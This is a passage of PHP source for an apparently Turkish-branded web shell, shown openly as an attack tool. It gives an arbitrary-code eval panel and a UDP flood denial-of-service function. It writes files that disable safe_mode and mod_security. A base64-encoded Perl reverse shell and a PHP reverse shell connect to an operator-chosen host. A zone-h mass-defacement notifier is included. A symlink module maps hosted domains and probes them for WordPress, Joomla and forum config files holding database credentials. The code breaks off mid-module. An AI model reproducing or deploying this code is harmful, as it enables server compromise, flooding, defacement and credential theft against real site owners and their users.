echo \'<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value=">>"></form>\';
break;
}
echo \'</div>\';
madFooter();
}
function madphpeval()
{
madhead();
if(isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'ini\')) {
echo \'<div class=header>\';
ob_start();
$INI=ini_get_all();
print \'<table border=0><tr>\'
.\'<td class="listing"><font class="highlight_txt">Param</td>\'
.\'<td class="listing"><font class="highlight_txt">Global value</td>\'
.\'<td class="listing"><font class="highlight_txt">Local Value</td>\'
.\'<td class="listing"><font class="highlight_txt">Access</td></tr>\';
foreach ($INI as $param => $values)
print "
".\'<tr>\'
.\'<td class="listing"><b>\'.$param.\'</td>\'
.\'<td class="listing">\'.$values[\'global_value\'].\' </td>\'
.\'<td class="listing">\'.$values[\'local_value\'].\' </td>\'
.\'<td class="listing">\'.$values[\'access\'].\' </td></tr>\';
$tmp = ob_get_clean();
$tmp = preg_replace(\'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU\',\'\',$tmp);
$tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);
echo str_replace(\'<h1\',\'<h2\', $tmp) .\'</div><br>\';
}
if(isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'info\')) {
echo \'<div class=header><style>.p {color:#000;}</style>\';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace(\'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU\',\'\',$tmp);
$tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);
echo str_replace(\'<h1\',\'<h2\', $tmp) .\'</div><br>\';
}
if(isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'exten\')) {
echo \'<div class=header>\';
ob_start();
$EXT=get_loaded_extensions ();
print \'<table border=0><tr><td class="listing">\'
.implode(\'</td></tr>\'."
".\'<tr><td class="listing">\', $EXT)
.\'</td></tr></table>\'
.count($EXT).\' extensions loaded\';
echo \'</div><br>\';
}
if(empty($_POST[\'ajax\']) && !empty($_POST[\'p1\']))
$_SESSION[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = false;
echo \'<div class=header><Center><a href=# onclick="g(\'phpeval\',null,\'\',\'ini\')">| INI_INFO | </a><a href=# onclick="g(\'phpeval\',null,\'\',\'info\')"> | phpinfo |</a><a href=# onclick="g(\'phpeval\',null,\'\',\'exten\')"> | extensions |</a></center><br><form name=pf method=post onsubmit="g(\'phpeval\',null,this.code.value,\'\'); return false;"><textarea name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'</textarea><center><input type=submit value=Eval style="margin-top:5px"></center>\';
echo \'</form><pre id=PhpOutput style="\'.(empty($_POST[\'p1\'])?\'display:none;\':\'\').\'margin-top:5px;" class=ml1>\';
if(!empty($_POST[\'p1\'])) {
ob_start();
eval($_POST[\'p1\']);
echo htmlspecialchars(ob_get_clean());
}
echo \'</pre></div>\';
madfooter();
}
function madhash()
{
if(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists(\'binhex\')) {function binhex($p) {return dechex(bindec($p));}}
if(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
if(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= sprintf(\'%02X\',ord($p[$i]));return strtoupper($r);}}
if(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}
$stringTools = array(
\'Base64 encode\' => \'base64_encode\',
\'Base64 decode\' => \'base64_decode\',
\'md5 hash\' => \'md5\',
\'sha1 hash\' => \'sha1\',
\'crypt\' => \'crypt\',
\'CRC32\' => \'crc32\',
\'Url encode\' => \'urlencode\',
\'Url decode\' => \'urldecode\',
\'Full urlencode\' => \'full_urlencode\',
\'Htmlspecialchars\' => \'htmlspecialchars\',
);
madhead();
echo \'<div class=header>\';
if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
echo "<form onSubmit=\'g(null,null,this.selectTool.value,this.input.value); return false;\'><select name=\'selectTool\'>";
foreach($stringTools as $k => $v)
echo "<option value=\'".htmlspecialchars($v)."\'>".$k."</option>";
echo "</select><input type=\'submit\' value=\'>>\'/><br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>".(empty($_POST[\'p1\'])?\'\':htmlspecialchars(@$_POST[\'p2\']))."</textarea></form><pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' id=\'strOutput\'>";
if(!empty($_POST[\'p1\'])) {
if(in_array($_POST[\'p1\'], $stringTools))echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\']));
}
echo "</div>";
madFooter();
}
@$dos = $_GET[\'dos\'];
if($dos=="run"){
$packets=0;
ignore_user_abort(true);
$host = @$_GET[\'host\'];
$exec_time =$_GET[\'time\'];
$portudp = @$_GET[\'port\'];
$time=time();
$max_time=$exec_time+$time;
for($i=0;$i<65000;$i++)
{
$out .= \'X\';
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(\'udp://\'.$host, $portudp, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "$packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second";
echo "</pre>";
}
function maddos()
{
madhead();
echo \'<div class=header>\';
if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
echo \'<center><span>| UDP DOSSIER |</span><br><br><form onSubmit="g(null,null,this.udphost.value,this.udptime.value,this.udpport.value); return false;" method=POST><span>Host :</span><input name="udphost" type="text" size="25" /><span>Time :</span><input name="udptime" type="text" size="15" /><span>Port :</span><input name="udpport" type="text" size="10" /><input type="submit" value=">>" /></form></center>\';
echo "<pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' >";
if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\']) && !empty($_POST[\'p3\']))
{
$packets=0;
ignore_user_abort(true);
$exec_time=$_POST[\'p2\'];
$host=$_POST[\'p1\'];
$portudp=$_POST[\'p3\'];
$time=time();
$max_time=$exec_time+$time;
for($i=0;$i<65000;$i++)
{
$out .= \'X\';
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(\'udp://\'.$host, $portudp, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "$packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second";
echo "</pre>";
}
echo \'</div>\';
madfooter();
}
function madproc()
{
madhead();
echo "<Div class=header><center>";
if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
if($GLOBALS[\'sys\']=="win")
{
$process=array(
"System Info" =>"systeminfo",
"Active Connections" => "netstat -an",
"Running Services" => "net start",
"User Accounts" => "net user",
"Show Computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
}
else
{
$process=array(
"Process status" => "ps aux",
"Syslog" =>"cat /etc/syslog.conf",
"Resolv" => "cat /etc/resolv.conf",
"Hosts" =>"cat /etc/hosts",
"Passwd" =>"cat /etc/passwd",
"Cpuinfo"=>"cat /proc/cpuinfo",
"Version"=>"cat /proc/version",
"Sbin"=>"ls -al /usr/sbin",
"Interrupts"=>"cat /proc/interrupts",
"lsattr"=>"lsattr -va",
"Uptime"=>"uptime",
"Fstab" =>"cat /etc/fstab",
"HDD Space" => "df -h"
);}
foreach($process as $n => $link)
{
echo \'<a href="#" onclick="g(null,null,\'\'.$link.\'\')"> | \'.$n.\' | </a>\';
}
echo "</center>";
if(!empty($_POST[\'p1\']))
{
echo "<pre class=\'ml1\' style=\'margin-top:5px\' >";
echo madEx($_POST[\'p1\']);
echo \'</pre>\';
}
echo "</div>";
madfooter();
}
function madsafe()
{
madhead();
echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS[\'cwd\']." |<br>";
echo \'<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>\';
if(!empty($_POST[\'p2\']) && isset($_POST[\'p2\']))
{
$fil=fopen($GLOBALS[\'cwd\'].".htaccess","w");
fwrite($fil,\'<IfModule mod_security.c>
Sec------Engine Off
Sec------ScanPOST Off
</IfModule>\');
fclose($fil);
}
if(!empty($_POST[\'p1\'])&& isset($_POST[\'p1\']))
{
$fil=fopen($GLOBALS[\'cwd\']."php.ini","w");
fwrite($fil,\'safe_mode=OFF
disable_functions=NONE\');
fclose($fil);
}
if(!empty($_POST[\'p3\']) && isset($_POST[\'p3\']))
{
$fil=fopen($GLOBALS[\'cwd\'].".htaccess","w");
fwrite($fil,\'Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .sh
AddHandler cgi-script .pl
AddHandler cgi-script .pl\');
fclose($fil);
}
echo "<br></div>";
madfooter();
}
function madconnect()
{
madhead();
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
echo "<div class=header><center><h3><span>| PERL AND PHP(threads) BACK CONNECT |</span></h3>";
echo "<form onSubmit=\"g(null,null,\'bcp\',this.server.value,this.port.value);return false;\"><span>PERL BACK CONNECT</span><br>IP: <input type=\'text\' name=\'server\' value=\'". $_SERVER[\'REMOTE_ADDR\'] ."\'> Port: <input type=\'text\' name=\'port\' value=\'443\'> <input type=submit value=\'>>\'></form>";
echo "<br><form onSubmit=\"g(null,null,\'php\',this.server.value,this.port.value);return false;\"><span>PHP BACK CONNECT</span><br>IP: <input type=\'text\' name=\'server\' value=\'". $_SERVER[\'REMOTE_ADDR\'] ."\'> Port: <input type=\'text\' name=\'port\' value=\'443\'> <input type=submit value=\'>>\'></form></center>";
if(isset($_POST[\'p1\'])) {
function cf($f,$t) {
$w = @fopen($f,"w") or @function_exists(\'file_put_contents\');
if($w){
@fwrite($w,base64_decode($t));
@fclose($w);
}
}
if($_POST[\'p1\'] == \'bcp\') {
cf("/tmp/bc.pl",$back_connect_p);
$out = madEx("perl /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." 1>/dev/null 2>&1 &");
echo "<pre class=ml1 style=\'margin-top:5px\'>Successfully opened reverse shell to ".$_POST[\'p2\'].":".$_POST[\'p3\']."<br>Connecting...</pre>";
@unlink("/tmp/bc.pl");
}
if($_POST[\'p1\']==\'php\')
{
@set_time_limit (0);
$ip = $_POST[\'p2\'];
$port =$_POST[\'p3\'];
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = \'uname -a; w; id; /bin/sh -i\';
$daemon = 0;
$debug = 0;
echo "<pre class=ml1 style=\'margin-top:5px\'>";
if (function_exists(\'pcntl_fork\')) {
$pid = pcntl_fork();
if ($pid == -1) {
echo "Cant fork!<br>";
exit(1);
}
if ($pid) {
exit(0);
}
if (posix_setsid() == -1) {
echo "Error: Can\'t setsid()<br>";
exit(1);
}
$daemon = 1;
} else {
echo "WARNING: Failed to daemonise. This is quite common and not fatal<br>";
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
echo "$errstr ($errno)";
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
echo "ERROR: Can\'t spawn shell<br>";
exit(1);
}
@stream_set_blocking($pipes[0], 0);
@stream_set_blocking($pipes[1], 0);
@stream_set_blocking($pipes[2], 0);
@stream_set_blocking($sock, 0);
echo "Successfully opened reverse shell to $ip:$port<br>";
while (1) {
if (feof($sock)) {
echo "ERROR: Shell connection terminated<br>";
break;
}
if (feof($pipes[1])) {
echo "ERROR: Shell process terminated<br>";
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets=@stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) echo "SOCK READ<br>";
$input=fread($sock, $chunk_size);
if ($debug) echo "SOCK: $input<br>";
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) echo "STDOUT READ<br>";
$input = fread($pipes[1], $chunk_size);
if ($debug) echo "STDOUT: $input<br>";
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) echo "STDERR READ<br>";
$input = fread($pipes[2], $chunk_size);
if ($debug) echo "STDERR: $input<br>";
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
echo "</pre>";
}
}
echo "</div>";
madfooter();
}
function ZoneH($url, $hacker, $hackmode,$reson, $site )
{
$k = curl_init();
curl_setopt($k, CURLOPT_URL, $url);
curl_setopt($k,CURLOPT_POST,true);
curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
$kubra = curl_exec($k);
curl_close($k);
return $kubra;
}
function madzoneh()
{
madhead();
if(!function_exists(\'curl_version\'))
{
echo "<pre class=ml1 style=\'margin-top:5px\'><center><font color=red>PHP CURL NOT EXIT</font></center></pre>";
}
echo "<div class=header><center><br>";
echo \'<h3><span>|ZONE-H MASS DEFACER |</span></h3>
<form onSubmit="g(null,null,this.defacer.value,this.hackmode.value,this.domain.value);return false;" >
<span>| Notifier |</span><br>
<input type="text" name=defacer size="40" value="Attacker" /><br>
<select name=hackmode>
<option >--------SELECT--------</option>
<option value="1">known vulnerability (i.e. unpatched system)</option>
<option value="2" >undisclosed (new) vulnerability</option>
<option value="3" >configuration / admin. mistake</option>
<option value="4" >brute force attack</option>
<option value="5" >social engineering</option>
<option value="6" >Web Server intrusion</option>
<option value="7" >Web Server external module intrusion</option>
<option value="8" >Mail Server intrusion</option>
<option value="9" >FTP Server intrusion</option>
<option value="10" >SSH Server intrusion</option>
<option value="11" >Telnet Server intrusion</option>
<option value="12" >RPC Server intrusion</option>
<option value="13" >Shares misconfiguration</option>
<option value="14" >Other Server intrusion</option>
<option value="15" >SQL Injection</option>
<option value="16" >URL Poisoning</option>
<option value="17" >File Inclusion</option>
<option value="18" >Other Web Application bug</option>
<option value="19" >Remote administrative panel access bruteforcing</option>
<option value="20" >Remote administrative panel access password guessing</option>
<option value="21" >Remote administrative panel access social engineering</option>
<option value="22" >Attack against administrator(password stealing/sniffing)</option>
<option value="23" >Access credentials through Man In the Middle attack</option>
<option value="24" >Remote service password guessing</option>
<option value="25" >Remote service password bruteforce</option>
<option value="26" >Rerouting after attacking the Firewall</option>
<option value="27" >Rerouting after attacking the Router</option>
<option value="28" >DNS attack through social engineering</option>
<option value="29" >DNS attack through cache poisoning</option>
<option value="30" >Not available</option>
</select><br>
<select >
<option >Not available</option>
<option value="1" >Heh...just for fun!</option>
<option value="2" >Revenge against that website</option>
<option value="3" >Political reasons</option>
<option value="4" >As a challenge</option>
<option value="5" >I just want to be the best defacer</option>
<option value="6" >Patriotism</option>
<option value="7" >Not available</option>
</select><br>
<textarea name=domain cols="50" rows="15">List Of Domains</textarea>
<br>
<input type="submit" value=">>" /></form>\';
if(isset($_POST[\'p1\']) && isset($_POST[\'p2\']))
{
$hacker =$_POST[\'p1\'];
$method =$_POST[\'p2\'];
$neden ="Not available";
$site =$_POST[\'p3\'];
$i = 0;
$sites = explode("
", $site);
echo "<pre class=ml1 style=\'margin-top:5px\'>";
while($i < count($sites))
{
if(substr($sites[$i], 0, 4) != "http")
{
$sites[$i] = "http://".$sites[$i];
}
ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
echo "Site : ".$sites[$i]." Defaced !<br>";
++$i;
}
"Sending Sites To Zone-H Has Been Completed Successfully !! </pre>";
}
echo "</div>";
madfooter();
}
function madspot()
{
madhead();
echo "<div class=header>";
echo "<pre>
|`-:_
,----....____ | `+.
( ````----....|___ |
\ _ ````----....____
\ _) Coded By: Ayazoglu ```---.._
\ \
)`.\ )`. )`. )`. )`. )`. )`. )`. )`. )`. )hh
-\' `-\' `-\' `-\' `-\' `-\' `-\' `-\' `-\' `-\' `-\' `
Ayazoglu is a Team of professional Ethical Hackers From Turkey.
We have Years of Experience in Security, Penetration & Coding
And can Break and Secure.
Version 1.0
Contact : http://www.ayazoglu.org
if you found bug contact our team
.=\'\'=.
/ _ _ \
| d b |
\ /\ /
,/\'-=\/=-\'\,
/ / \ \ -----------------------------
| / Ayazoglu \ | Ayazoglu Digital Security Team
\/ \ / \/ -----------------------------
\'. .\'
_|`~~`|_
/|\ /|\
.- <O> -. .-====-. ,-------. .-=<>=-.
/_-\'\'\'/-_\ / / \'\' \ \ |,-----.| /__----__\
|/ o) (o \| | | \')(\' | | /,\'-----\'.\ |/ (\')(\') \|
\ ._. / \ \ / / {_/(\') (\')\_} \ __ /
,>-_,,,_-<. >\'=jf=\'< `. _ .\' ,\'--__--\'.
/ Mario \ / \ /\'-___-\'\ / :| \
(_) . (_) / Atess \ / M-Usman \ (_) :| (_)
\_-----\'____--/ (_) (_) (_)_______(_) |___:|____|
\___________/ |________| \_______/ | Afrasiab|
</pre></div>";
madfooter();
}
function madsymlink()
{
madhead();
$IIIIIIIIIIIl = \'http://\'.$_SERVER[\'SERVER_NAME\'].$_SERVER[\'REQUEST_URI\'];
$IIIIIIIIIII1=explode(\'/\',$IIIIIIIIIIIl );
$IIIIIIIIIIIl =str_replace($IIIIIIIIIII1[count($IIIIIIIIIII1)-1],\'\',$IIIIIIIIIIIl );
echo \'<div class=header><script>p1_=p2_=p3_="";</script><br><center><h3><a href=# onclick="g(\'symlink\',null,\'website\',null)">| Domains | </a><a href=# onclick="g(\'symlink\',null,null,\'whole\')">| Whole Server Symlink | </a><a href=# onclick="g(\'symlink\',null,null,null,\'config\')">| Config PHP symlink | </a></h3></center>\';
if(isset($_POST[\'p1\']) && $_POST[\'p1\']==\'website\')
{
echo "<center>";
$d0mains = @file("/etc/named.conf");
if(!$d0mains){ echo "<pre class=ml1 style=\'margin-top:5px\'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; }
echo "<table align=center class=\'main\' border=0 >
<tr bgcolor=Red><td>Count</td><td>domains</td><td>users</td></tr>";
$count=1;
foreach($d0mains as $d0main){
if(@eregi("zone",$d0main)){
preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
echo "<tr><td>".$count."</td><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user[\'name\']."</td><td></tr>"; flush();
$count++;
}}}
echo "</center></table>";
}
if(isset($_POST[\'p2\']) && $_POST[\'p2\']==\'whole\')
{
@set_time_limit(0);
echo "<center>";
//Pagerank
function StrToNum($Str, $Check, $Magic)
{
$Int32Unit = 4294967296; // 2^32
$length = strlen($Str);
for ($i = 0; $i < $length; $i++) {
$Check *= $Magic;
//If the float is beyond the boundaries of integer (usually +/- 2.15e+9 = 2^31),
// the result of converting to integer is undefined
// refer to http://www.php.net/manual/en/language.types.integer.php
if ($Check >= $Int32Unit) {
$Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit));
//if the check less than -2^31
$Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check;
}
$Check += ord($Str{$i});
}
return $Check;
}
//--> for google pagerank
/*
* Genearate a hash for a url
*/
function HashURL($String)
{
$Check1 = StrToNum($String, 0x1505, 0x21);
$Check2 = StrToNum($String, 0, 0x1003F);
$Check1 >>= 2;
$Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F);
$Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF);
$Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);
$T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F );
$T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000 );
return ($T1 | $T2);
}
//--> for google pagerank
/*
* genearate a checksum for the hash string
*/
function CheckHash($Hashnum)
{
$CheckByte = 0;
$Flag = 0;
$HashStr = sprintf(\'%u\', $Hashnum) ;
$length = strlen($HashStr);
for ($i = $length - 1; $i >= 0; $i --) {
$Re = $HashStr{$i};
if (1 === ($Flag % 2)) {
$Re += $Re;
$Re = (int)($Re / 10) + ($Re % 10);
}
$CheckByte += $Re;
$Flag ++;
}
$CheckByte %= 10;
if (0 !== $CheckByte) {
$CheckByte = 10 - $CheckByte;
if (1 === ($Flag % 2) ) {
if (1 === ($CheckByte % 2)) {
$CheckByte += 9;
}
$CheckByte >>= 1;
}
}
return \'7\'.$CheckByte.$HashStr;
}
function file_get_contents_curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //Set curl to return the data instead of printing it to the browser.
curl_setopt($ch, CURLOPT_URL, $url);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
//get google pagerank
function getpagerank($url) {
$query="http://toolbarqueries.google.com/tbr?client=navclient-auto&hl=en&ch=".CheckHash(HashURL($url)). "&features=Rank&q=info:".$url."&num=100&filter=0";
$data=file_get_contents_curl($query);
//print_r($data);
$pos = strpos($data, "Rank_");
if($pos === false){} else{
$pagerank = substr($data, $pos + 9);
return $pagerank;
}
}
//Pagerank
@mkdir(\'sym\',0777);
$IIIIIIIIIIl1 = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$IIIIIIIIII1I =@fopen (\'sym/.htaccess\',\'w\');
fwrite($IIIIIIIIII1I ,$IIIIIIIIIIl1);
@symlink(\'/\',\'sym/root\');
$IIIIIIIIIlIl = basename(\'_FILE_\');
$IIIIIIIIIllI = @file(\'/etc/named.conf\');
if(!$IIIIIIIIIllI)
{
echo "<pre class=ml1 style=\'margin-top:5px\'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}
else
{
echo "<table align=\'center\' width=\'40%\' class=\'main\'><td>Domains</td><td>Users</td><td>symlink </td><td>Pagerank</td>";
foreach($IIIIIIIIIllI as $IIIIIIIIIll1){
if(@eregi(\'zone\',$IIIIIIIIIll1)){
preg_match_all(\'#zone "(.*)"#\',$IIIIIIIIIll1,$IIIIIIIIIl11);
flush();
if(strlen(trim($IIIIIIIIIl11[1][0])) >2){
$IIIIIIIII1I1 = posix_getpwuid(@fileowner(\'/etc/valiases/\'.$IIIIIIIIIl11[1][0]));
$IIIIIIII1I1l = $IIIIIIIII1I1[\'name\'] ;
@symlink(\'/\',\'sym/root\');
$IIIIIIII1I1l = $IIIIIIIIIl11[1][0];
$IIIIIIII1I11 = \'\.ir\';
$IIIIIIII1lII = \'\.il\';
if (@eregi("$IIIIIIII1I11",$IIIIIIIIIl11[1][0]) or @eregi("$IIIIIIII1lII",$IIIIIIIIIl11[1][0]) )
{
$IIIIIIII1I1l = "<div style=\' color: #FF0000 ; text-shadow: 0px 0px 1px red; \'>".$IIIIIIIIIl11[1][0].\'</div>\';
}
$pr = getpagerank($IIIIIIIIIl11[1][0]);
if($pr==""){
$pr = "0";
}elseif($pr>=4){
$pr = \'<font color="red"><b>\'.$pr.\'</b></font>\';
}
echo "
<tr>
<td>
<a target=\'_blank\' href=http://www.".$IIIIIIIIIl11[1][0].\'/>\'.$IIIIIIII1I1l.\' </a>
</td>
<td>
\'.$IIIIIIIII1I1[\'name\']."
</td>
<td>
<a href=\'sym/root/home/".$IIIIIIIII1I1[\'name\']."/public_html\' target=\'_blank\'>symlink </a>
</td>
<td>".$pr."</td>
</tr>";
flush();
}
}
}
}
echo "</center></table>";
}
if(isset($_POST[\'p3\']) && $_POST[\'p3\']==\'config\')
{
echo "<center>";
@mkdir(\'sym\',0777);
$IIIIIIIIIIl1 = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$IIIIIIIIII1I =@fopen (\'sym/.htaccess\',\'w\');
@fwrite($IIIIIIIIII1I ,$IIIIIIIIIIl1);
@symlink(\'/\',\'sym/root\');
$IIIIIIIIIlIl = basename(\'_FILE_\');
$IIIIIIIIIllI = @file(\'/etc/named.conf\');
if(!$IIIIIIIIIllI)
{
echo "<pre class=ml1 style=\'margin-top:5px\'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}
else
{
echo "
<table align=\'center\' width=\'40%\' class=\'main\' ><td> Domains </td><td> Script </td>";
foreach($IIIIIIIIIllI as $IIIIIIIIIll1){
if(@eregi(\'zone\',$IIIIIIIIIll1)){
preg_match_all(\'#zone "(.*)"#\',$IIIIIIIIIll1,$IIIIIIIIIl11);
flush();
if(strlen(trim($IIIIIIIIIl11[1][0])) >2){
$IIIIIIIII1I1 = posix_getpwuid(@fileowner(\'/etc/valiases/\'.$IIIIIIIIIl11[1][0]));
$IIIIIIIII1l1=$IIIIIIIIIIIl.\'/sym/root/home/\'.$IIIIIIIII1I1[\'name\'].\'/public_html/wp-config.php\';
$IIIIIIIII11I=get_headers($IIIIIIIII1l1);
$IIIIIIIII11l=$IIIIIIIII11I[0];
$IIIIIIIII111=$IIIIIIIIIIIl.\'/sym/root/home/\'.$IIIIIIIII1I1[\'name\'].\'/public_html/blog/wp-config.php\';
$IIIIIIIIlIII=get_headers($IIIIIIIII111);
$IIIIIIIIlIIl=$IIIIIIIIlIII[0];
$IIIIIIIIlII1=$IIIIIIIIIIIl.\'/sym/root/home/\'.$IIIIIIIII1I1[\'name\'].\'/public_html/configuration.php\';
$IIIIIIIIlIlI=get_headers($IIIIIIIIlII1);
$IIIIIIIIlIll=$IIIIIIIIlIlI[0];
$IIIIIIIIlIl1=$IIIIIIIIIIIl.\'/sym/root/home/\'.$IIIIIIIII1I1[\'name\'].\'/public_html/joomla/configuration.php\';
$IIIIIIIIlI1I=get_headers($IIIIIIIIlIl1);
$IIIIIIIIlI1l=$IIIIIIIIlI1I[0];
$IIIIIIIIlI11=$IIIIIIIIIIIl.\'/sym/root/home/\'.$IIIIIIIII1I1[\'name\'].\'/public_html/includes/config.php\';
$IIIIIIIIllII=get_headers($IIIIIIIIlI11);
$IIIIIIIIllIl=$IIIIIIIIllII[0];
$IIIIIIIIllI1=$IIIIIIIIIIIl.\'/sym/root/home/\'.$IIIIIIIII1I1[\'name\'].\'/public_html/vb/includes/config.php\';
$IIIIIIIIlllI=get_headers($IIIIIIIIllI1);
$IIIIIIIIllll=$IIIIIIIIlllI[0];
$IIIIIIIIlll1=$IIIIIIIIIIIl.\'/sym/root/home/\'.$IIIIIIIII1I1[\'name\'].\'/public_html/forum/includes/config.php\';
$IIIIIIIIll1I=get_headers($IIIIIIIIlll1);
$IIIIIIIIll1l=$IIIIIIIIll1I[0];
$IIIIIIIIll11=$IIIIIIIIIIIl.\'/sym/root/home/\'.$IIIIIIIII1I1[\'name\'].\'public_html/clients/configuration.php\';
$IIIIIIIIl1II=get_headers($IIIIIIIIll11);
$IIIIIIIIl1Il=$IIIIIIIIl1II[0];
$IIIIIIIIl1I1=$IIIIIIIIIIIl.\'/sym/root/home/\'.$IIIIIIIII1I1[\'name\'].\'/public_html/support/configuration.php\';
$IIIIIIIIl1II=get_headers($IIIIIIIIl1I1);
$IIIIIIIIl1lI=$IIIIIIIIl1II[0];
